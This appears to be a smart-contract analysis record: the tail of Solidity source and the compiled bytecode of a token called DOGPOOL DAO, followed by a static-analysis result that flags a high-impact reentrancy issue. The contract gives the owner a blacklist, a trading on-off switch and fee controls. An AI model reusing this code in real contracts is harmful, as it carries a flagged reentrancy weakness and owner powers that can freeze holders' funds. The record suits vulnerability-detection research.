redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function swap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setmaxTx(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80638da5cb5b116100f7578063b0c2b56111610095578063dd62ed3e11610064578063dd62ed3e1461065c578063ea1644d514610699578063f2fde38b146106c2578063fc342279146106eb576101d7565b8063b0c2b561146105b6578063bfd79284146105df578063c3c8cd801461061c578063c492f04614610633576101d7565b806395d89b41116100d157806395d89b41146104fc57806398a5c31514610527578063a2a957bb14610550578063a9059cbb14610579576101d7565b80638da5cb5b1461047d5780638f70ccf7146104a85780638f9a55c0146104d1576101d7565b8063313ce5671161016f57806370a082311161013e57806370a08231146103c1578063715018a6146103fe5780637d1db4a5146104155780637f2feddc14610440576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636fc3eaec146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103bf610acd565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190613063565b610b9e565b6040516103f59190612f94565b60405180910390f35b34801561040a57600080fd5b50610413610bef565b005b34801561042157600080fd5b5061042a610d42565b6040516104379190612f94565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190613063565b610d48565b6040516104749190612f94565b60405180910390f35b34801561048957600080fd5b50610492610d60565b60405161049f9190613048565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca91906130bc565b610d89565b005b3480156104dd57600080fd5b506104e6610e3b565b6040516104f39190612f94565b60405180910390f35b34801561050857600080fd5b50610511610e41565b60405161051e9190612e3d565b60405180910390f35b34801561053357600080fd5b5061054e600480360381019061054991906130e9565b610e7e565b005b34801561055c57600080fd5b5061057760048036038101906105729190613116565b610f1d565b005b34801561058557600080fd5b506105a0600480360381019061059b9190612e95565b610fd4565b6040516105ad9190612ef0565b60405180910390f35b3480156105c257600080fd5b506105dd60048036038101906105d891906130e9565b610ff2565b005b3480156105eb57600080fd5b5061060660048036038101906106019190613063565b611091565b6040516106139190612ef0565b60405180910390f35b34801561062857600080fd5b506106316110b1565b005b34801561063f57600080fd5b5061065a600480360381019061065591906131d8565b61118a565b005b34801561066857600080fd5b50610683600480360381019061067e9190613238565b6112c4565b6040516106909190612f94565b60405180910390f35b3480156106a557600080fd5b506106c060048036038101906106bb91906130e9565b61134b565b005b3480156106ce57600080fd5b506106e960048036038101906106e49190613063565b6113ea565b005b3480156106f757600080fd5b50610712600480360381019061070d91906130bc565b6115ac565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600b81526020017f444f47504f4f4c2044414f000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0e61165e565b73ffffffffffffffffffffffffffffffffffffffff161480610b845750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b6c61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610b8d57600080fd5b6000479050610b9b8161211a565b50565b6000610be8600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610bf761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d9161165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e15906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600381526020017f4450440000000000000000000000000000000000000000000000000000000000815250905090565b610e8661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a906132c4565b60405180910390fd5b8060188190555050565b610f2561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa9906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000610fe8610fe161165e565b8484611831565b6001905092915050565b610ffa61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107e906132c4565b60405180910390fd5b8060168190555050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110f261165e565b73ffffffffffffffffffffffffffffffffffffffff1614806111685750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661115061165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61117157600080fd5b600061117c30610b9e565b9050611187816121f4565b50565b61119261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461121f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611216906132c4565b60405180910390fd5b60005b838390508110156112be578160056000868685818110611245576112446132e4565b5b905060200201602081019061125a9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112b690613342565b915050611222565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61135361165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d7906132c4565b60405180910390fd5b8060178190555050565b6113f261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611476906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e6906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6115b461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611641576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611638906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610d60565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610d60565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610d60565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610b9e565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610b9e565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000678ac7230489e800009050612772678ac7230489e800006006546124d290919063ffffffff16565b82101561279057600654678ac7230489e80000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220587156853acd1a380c85d6cac3b3ec8dce15d30ea85eb0be2bc5ba465e1ebc6864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,362
0x9587bded99e2aa391552713297449833a761ffc1
